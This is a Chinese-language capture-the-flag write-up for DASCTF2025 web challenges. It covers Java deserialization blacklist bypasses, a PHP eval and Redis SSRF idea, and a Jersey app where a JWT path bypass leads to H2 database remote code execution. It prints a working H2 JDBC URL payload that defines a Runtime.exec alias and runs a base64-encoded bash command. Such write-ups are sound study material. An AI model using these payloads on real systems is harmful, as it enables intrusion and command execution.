DASCTF2025 上半年赛 web
DASCTF2025 上半年赛 GFCTF
半退役,看到java就再看看
小登报了两个队,一个第四名,历史新高(他们没交我那个再短一点点,不然可以拿个第三回来)
再短一点点 (一血)
帮小登交的一血,感觉不算难,也没想到竟然没其他人做出来
应该也跟之前做过1ue等大佬的字数限制题有关
wp也给过小登他们了,这里拿过来,顺便再写详细一点
使用了InflaterInputStream,可以对应使用DeflaterOutputStream进行压缩
黑名单禁用TemplatesImpl,BadAttributeValueExpException
用二次反序列化进行绕过
两次toString链子使用相同的,压缩效果更高
} catch (Exception var9) {
var9.printStackTrace();
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
var9.printStackTrace(pw);
String stackTrace = sw.toString();
return stackTrace.contains("getStylesheetDOM") ? "命运的硬币抛向了反面,重启环境试试?" : "something went wrong :(";
}
根据这段,猜测使用jackson不加稳定来减少字数,失败重启环境
可能还有使用javasist生成字节码(我也没太注意)
就没了,感觉也不复杂(除非说我非预期了)
BadAttributeValueExpException要是没被禁用的话可以更少,可以到1200
后面发现个小于1120的
phpms
没咋看,当时看到队里其他人的解题思路
.git泄露
然后使用?>绕过能够使用eval函数
但很多函数都被ban了,就卡死在这里
我当时又试了一下基本函数,都被禁用了,猜测大概是禁用()使用其他方式getshell
赛后看别人的复现
说是只有原生类,那就是列目录和读取一些有权限的文件
然后利用读取文件的原生类使用filter-iconv的那个cve进行getshell,若是支持filter的话应该是能成功的,应该是他写的哪里出了问题
然后发现redis服务,/etc/redis.conf得到redis密码admin123,
其实看到原生类和redis我就有个想法就是ssrf打redis
SoapClient原生类能够向内网发指令
具体实现不清楚,就是个想法,师傅们可以试试
这个题也不想花时间复现了
(追加)后面官方WP出了,提到了无法使用SoapClient
泽西岛
给了war包,由于之前没debug过war包,花时间学了下如何部署到tomcat中然后断点debug
然后时间就快结束了(做了一题后就没咋看了)
啥功能都没有,这很明显就是让我们绕过jwt的认证
然后就能发现isBaseFile存在问题(刚开始想的时候没发现,一能debug就看出来了)
/api/testConnect;.ico
绕过
然后就能连接,但过滤了init和runscript参数,以及加了forbid_creation=true
然后我就在本地测试绕过,试了很久然后往深一点跟进发现在Class.forName处就报错了
就意识到是我本地没环境的问题,然后就开题目环境测试 init和runscript加载远程文件
一直没有成功
赛后看wp
才发现不出网H2 RCE,然后绕过能使用\
,我是测试过\
的,应该是被不出网限制了
然后forbid_creation=true这个可以根据https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html进行绕过
最后很巧妙的利用$CATALINA_HOME确定tomcat的根目录
$CATALINA_HOME/webapps/ROOT/404.jsp
jdbcUrl=jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INI\T=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('bash -c {echo,Y2F0IC9mbGFnID4gJENBVEFMSU5BX0hPTUUvd2ViYXBwcy9ST09ULzQwNC5qc3A\=}|{base64,-d}|{bash,-i}')\;--\
(追加)
官方wp中也是大差不差,但有一点疑惑
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('open -a calculator')\;;AUTHZPWD=\
题目中h2的版本为2.2.220,根据p牛的文章,不是在2.0.202版本后引入了IGNORE_UNKNOWN_SETTINGS
选项吗
但是使用XXX=\
无法成功
只能使用已知的属性名
主要是时间不够而且没啥信心做出来,测试绕过时就测试出网的,没想到会不出网
然后测试的话本地应该多花点心思,好debug才好做出题来
finally
主要就看看泽西岛的思路,差的不是很多,但调试确实是存在点问题
复现时发现其实h2的内存模式不需要h2数据库,他是在jvm进行的,所以我本地测试没成功还是payload有问题
reference
https://su-team.cn/2025/06/21/2025-DASCTF%E4%B8%8A%E5%8D%8A%E5%B9%B4/
https://www.yuque.com/chuangfeimeiyigeren/eeii37/bkp6ldnifm2k3o1a?singleDoc